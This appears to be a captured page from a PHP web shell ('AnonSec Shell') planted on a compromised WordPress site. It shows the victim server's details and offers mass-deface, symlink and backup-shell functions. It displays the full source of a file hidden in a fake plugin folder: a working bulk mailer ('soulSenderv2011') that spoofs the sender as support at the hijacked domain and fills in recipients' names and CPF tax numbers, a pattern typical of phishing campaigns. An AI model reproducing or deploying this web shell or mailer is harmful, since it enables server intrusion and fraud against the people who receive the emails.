. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 157.245.120.232  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux lamp-kamal-greenstackcapital-2019-11 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : www-data ( 33)
PHP Version : 7.3.12-1+ubuntu16.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 2 Domains
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/greenstackcapital.com/wp-content/plugins/bthrhrp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/greenstackcapital.com/wp-content/plugins/bthrhrp/radio.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
header('Content-Type: text/html; charset=UTF-8');

$testa = isset($_POST['veio']) ? $_POST['veio'] : '';

// Função para codificar cabeçalhos com UTF-8 Base64 (RFC 2047)
function encodeHeader($str) {
    return '=?UTF-8?B?' . base64_encode($str) . '?=';
}

// ==================== FUNÇÕES ALEATÓRIAS ====================
function random_num() {
    return str_pad(mt_rand(0, 999999), 6, '0', STR_PAD_LEFT);
}

function random1() {
    $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $random1 = '';
    for ($i = 0; $i < 6; $i++) {
        $random1 .= $chars[rand(0, strlen($chars) - 1)];
    }
    return $random1;
}

function rand1() {
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $rand1 = '';
    for ($i = 0; $i < 6; $i++) {
        $rand1 .= $chars[rand(0, strlen($chars) - 1)];
    }
    return $rand1;
}
// ===========================================================

if ($testa != "") {
    $nome_remetente = trim($_POST['nome'] ?? '');
    $de_raw         = trim($_POST['de'] ?? '');
    $assunto_raw    = trim($_POST['assunto'] ?? '');
    $html_raw       = stripslashes($_POST['html'] ?? '');
    $lista_emails   = $_POST['emails'] ?? '';

    $dominio = $_SERVER['HTTP_HOST'];
    $email_automatico = "support@" . $dominio;
    $de = $de_raw ?: $email_automatico;

    // Cabeçalhos fixos
    $headers_base = "MIME-Version: 1.0\r\n";
    $headers_base .= "Content-type: text/html; charset=UTF-8\r\n";
    $headers_base .= "X-Mailer: PHP/" . phpversion() . "\r\n";
    $headers_base .= "X-Priority: 1\r\n";
    $headers_base .= "X-MSmail-Priority: High\r\n";

    // Datas úteis
    $data_hoje    = date("d/m/Y");
    $data_5dias   = date("d/m/Y", strtotime("+5 days"));

    $i = 0;
    $count = 1;
    $email_lines = explode("\n", $lista_emails);

    while (isset($email_lines[$i])) {
        $linha = trim($email_lines[$i]);
        $i++;
        if (empty($linha)) {
            $count++;
            continue;
        }

        $aux = array_map('trim', explode(';', $linha . ';;')); // garante pelo menos 3 partes
        $email_addr = $aux[0] ?? '';
        $cpf_rec    = $aux[1] ?? '';
        $nome_rec   = $aux[2] ?? '';

        // Extrair o primeiro nome do campo nome.
        // Exemplo: "LIDER COSMETICO" vira "LIDER".
        $primeiro_nome = '';
        if (!empty($nome_rec)) {
            $nome_partes = preg_split('/\s+/', trim($nome_rec));
            $primeiro_nome = $nome_partes[0] ?? '';
        }

        if (!filter_var($email_addr, FILTER_VALIDATE_EMAIL)) {
            echo "* Número: $count <b>Formato de e-mail inválido</b> <font color='red'>ERRO</font><br><hr>";
            $count++;
            continue;
        }

        // =============================================
        // Preparar TODAS as substituições possíveis
        // =============================================
        $replacements = [
            '%rand%'       => rand(100000, 999999),
            '%rand2%'      => rand(100000, 999999),
            '%random1%'    => random1(),
            '%rand1%'      => rand1(),
            '%random_num%' => random_num(),
            '%email%'      => $email_addr,
            '%nome%'          => $nome_rec,
            '%primeiro_nome%' => $primeiro_nome,
            '%cpf%'           => $cpf_rec,
            '%data%'       => $data_hoje,
            '%data5dias%'  => $data_5dias,
            // Adicione mais se precisar, ex:
            // '%email_user%' => explode('@', $email_addr)[0] ?? $email_addr,
        ];

        // =============================================
        // 1. Remetente (nome + e-mail)
        // =============================================
        $from_name_final = str_replace(
            array_keys($replacements),
            array_values($replacements),
            $nome_remetente
        );
        $from_name_final = encodeHeader($from_name_final);

        $from_email_final = str_replace(
            array_keys($replacements),
            array_values($replacements),
            $de
        );

        $headers = $headers_base;
        $headers .= "From: $from_name_final <$from_email_final>\r\n";

        // =============================================
        // 2. Assunto
        // =============================================
        $subject_final = str_replace(
            array_keys($replacements),
            array_values($replacements),
            $assunto_raw
        );
        $subject_final = encodeHeader($subject_final);

        // =============================================
        // 3. Corpo HTML
        // =============================================
        $message = str_replace(
            array_keys($replacements),
            array_values($replacements),
            $html_raw
        );

        // Limpeza / proteção nos links (mantendo sua lógica original)
        $message_final = preg_replace_callback(
            '/href\s*=\s*([\'"])(.*?)\1/is',
            function ($matches) use ($email_addr) {
                $quote = $matches[1];
                $url   = $matches[2];

                // Codifica apenas o %email% que estiver na URL
                $url = str_replace('%email%', urlencode($email_addr), $url);

                // Remove tentativas de injetar %nome%, %cpf% etc. na URL
                $url = preg_replace('/%cpf%|%nome%|%cpf%[^&;]*|%nome%[^&;]*/i', '', $url);

                // Limpa query string quebrada
                $url = preg_replace('/[&;]\s*$/', '', $url);
                $url = preg_replace('/\?$/', '', $url);

                return 'href=' . $quote . $url . $quote;
            },
            $message
        );

        // Envio final
        if (mail($email_addr, $subject_final, $message_final, $headers)) {
            echo "* Número: $count <b>" . htmlspecialchars($email_addr, ENT_QUOTES, 'UTF-8') . "</b> <font color='green'>ok</font><br><hr>";
        } else {
            echo "* Número: $count <b>" . htmlspecialchars($email_addr, ENT_QUOTES, 'UTF-8') . "</b> <font color='red'>ERRO</font><br><hr>";
        }

        $count++;
    }
}
?>

<!-- HTML do formulário (inalterado) -->
<html>
<head>
<title>.: soulSenderv2011 :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body { margin:0; }
.titulo { font-family: Arial; font-size:18px; color:#000; font-weight:bold; }
.normal { font-family: Arial; font-size:12px; color:#000; }
.form { font-family: Arial; font-size:10px; color:#333; background:#fff; border:1px dashed #666; }
.texto { font-family: Verdana; font-weight:bold; }
.alerta { font-family: Verdana; font-weight:bold; color:#900; font-size:10px; }
</style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">
  <table width="464" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
    <tr>
      <td align="center" bgcolor="#ccc"><span class="titulo">soulSenderv2011</span></td>
    </tr>
    <tr>
      <td valign="top" bgcolor="#FFFFFF">
        <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal">
          <tr>
            <td align="right"><span class="texto">De / nome :</span></td>
            <td><input name="nome" type="text" class="form" style="width:100%"></td>
          </tr>
          <tr>
            <td align="right"><span class="texto">De / e-mail :</span></td>
            <td><input name="de" type="text" class="form" style="width:100%" value="<?php echo htmlspecialchars("support@".$_SERVER['HTTP_HOST'], ENT_QUOTES, 'UTF-8'); ?>"></td>
          </tr>
          <tr>
            <td align="right"><span class="texto">Assunto:</span></td>
            <td><input name="assunto" type="text" class="form" style="width:100%"></td>
          </tr>
          <tr align="center" bgcolor="#ccc">
            <td colspan="2"><span class="texto"></span></td>
          </tr>
          <tr>
            <td colspan="2"><textarea name="html" style="width:100%" rows="10" class="form"></textarea></td>
          </tr>
          <tr align="center" bgcolor="#ccc">
            <td colspan="2"><span class="texto"></span><br><span class="alerta"></span></td>
          </tr>
          <tr>
            <td colspan="2"><textarea name="emails" style="width:100%" rows="10" class="form"></textarea></td>
          </tr>
          <tr>
            <td colspan="2" align="center">
              <input type="Submit" name="Submit" value="Enviar Agora">
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</form>
</body>
</html>

Anon7 - 2022
AnonSec Team